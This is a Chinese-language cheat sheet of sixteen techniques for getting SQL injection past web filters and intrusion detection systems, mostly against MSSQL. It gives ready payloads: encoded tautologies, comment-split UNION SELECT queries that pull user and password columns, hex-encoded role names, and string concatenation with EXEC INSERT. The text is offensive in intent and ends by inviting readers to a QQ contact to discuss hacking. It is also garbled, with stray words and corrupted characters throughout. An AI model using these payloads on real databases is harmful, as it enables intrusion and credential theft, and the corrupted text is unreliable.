一、运用编码技术绕过sql
如URLEncode编码,ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31,而Test也能够为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。工具
二、经过空格绕过post
如两个空格代替一个空格,用Tab代替空格等,或者删除全部空格,如
or swords =‘swords,因为mssql的松散性,咱们能够把or swords 之间的空格去掉,并不影响运行。编码
三、运用字符串判断代替3d
用经典的or 1=1判断绕过,如or swords =swords,这个方法就是网上在讨论的。code
四、经过类型转换修饰符N绕过server
能够说这是一个不错的想法,他除了能在某种程度上绕过限制,并且还有别的做用,你们本身好好想一想吧。关于利用,如or swords = N swords ,大写的N告诉mssql server 字符串做为nvarchar类型,它起到类型转换的做用,并不影响注射语句自己,可是能够避过基于知识的模式匹配IDS。字符串
五、经过+号拆解字符串绕过get
效果值得考证,但毕竟是一种方法。如or swords =‘sw + ords ;EXEC(‘IN + SERT INTO + ….. )io
六、经过LIKE绕过
之前怎么就没想到呢?如orswords LIKE sw!!!显然能够很轻松的绕过“=”“>”的限制……
七、经过IN绕过
与上面的LIKE的思路差很少,如or swords IN (swords)
八、经过BETWEEN绕过
如or swords BETWEEN rw AND tw
九、经过>或者<绕过
or swords > sw
or swords < tw
or 1<3
……
十、运用注释语句绕过
用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser
用/**/分割敏感词,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
十一、用HEX绕过,通常的IDS都没法检测出来
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
十二、大小写互换绕过
select 能够写成 SelEct
union 能够写成 UnIoN
1三、多种编码组合绕过
经常使用的有BASE6四、ASC、SQL、HEX、URL编码
1四、利用中转工具绕过
能够利用刺猬的中转工具来绕过
1五、利用特殊字符填充绕过
这些特殊字符,会被解释成空格,方式和经过空格绕过同样的,通常用来绕过第三方防火墙软件
1六、改变攻击方式
若是get提交实在没法绕过,能够尝试改变攻击方式。如;post注入、寻找子站、旁站……等,若有疑问能够随时联系我QQ814360954哦,我很乐意和你们交流黑客技术。